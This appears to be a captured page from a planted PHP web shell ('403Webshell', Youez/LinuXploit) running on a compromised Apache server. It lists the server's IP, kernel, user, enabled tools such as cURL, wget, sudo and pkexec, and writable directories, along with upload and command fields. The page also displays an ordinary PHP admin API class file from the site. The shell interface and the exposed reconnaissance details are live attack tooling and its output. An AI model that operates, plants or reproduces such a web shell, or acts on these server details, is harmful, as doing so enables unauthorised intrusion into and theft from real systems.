403Webshell
Server IP : 37.9.174.138  /  Your IP : 216.73.216.117
Web Server : Apache
System : Linux vps6.backend.sk 6.12.100+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.100-1 (2026-07-30) x86_64
User : ftpuser ( 1001)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/backend-accounting.sk/app/app/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/backend-accounting.sk/app/app/classes/AdminApiClass.php
<?php

/*
 * To change this license header, choose License Headers in Project Properties.
 * To change this template file, choose Tools | Templates
 * and open the template in the editor.
 */

/**
 * Description of ApiClass
 *
 * @author Maroš
 */

namespace app\classes;

class AdminApiClass {

    /** @var UrlReader */
    protected $urlReader;

    /** @var RestApi */
    protected $restApi;

    /** @var \App */
    protected $app;

    /** @var BasicUser */
    protected $loggedUser;

    /** @var ModuleConfig */
    protected $cnfg;
    protected $requiresAuth = true;
    protected $table; 

    public function __construct() {
        usleep(150000);
        $this->app = \App::getInstance();
        $this->urlReader = UrlReader::getInstance();
        $this->restApi = RestApi::getInstance();
        $rc = new \ReflectionClass(get_class($this));
        $this->cnfg = new ModuleConfig($rc->getFileName());
        if ($this->requiresAuth) {
            $this->verifyAuth();
        } else {
            usleep(rand(15000, 20000) * 100);
        }
    }

    protected function verifyAuth() {
        try {
            $this->loggedUser = AdminUser::getLoggedUser();
        } catch (\Exception $ex) {
            $this->restApi->setCode($ex->getCode());
            $this->restApi->setHttpResponseCode($ex->getCode());
            $this->restApi->ajaxResponse();
        }
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit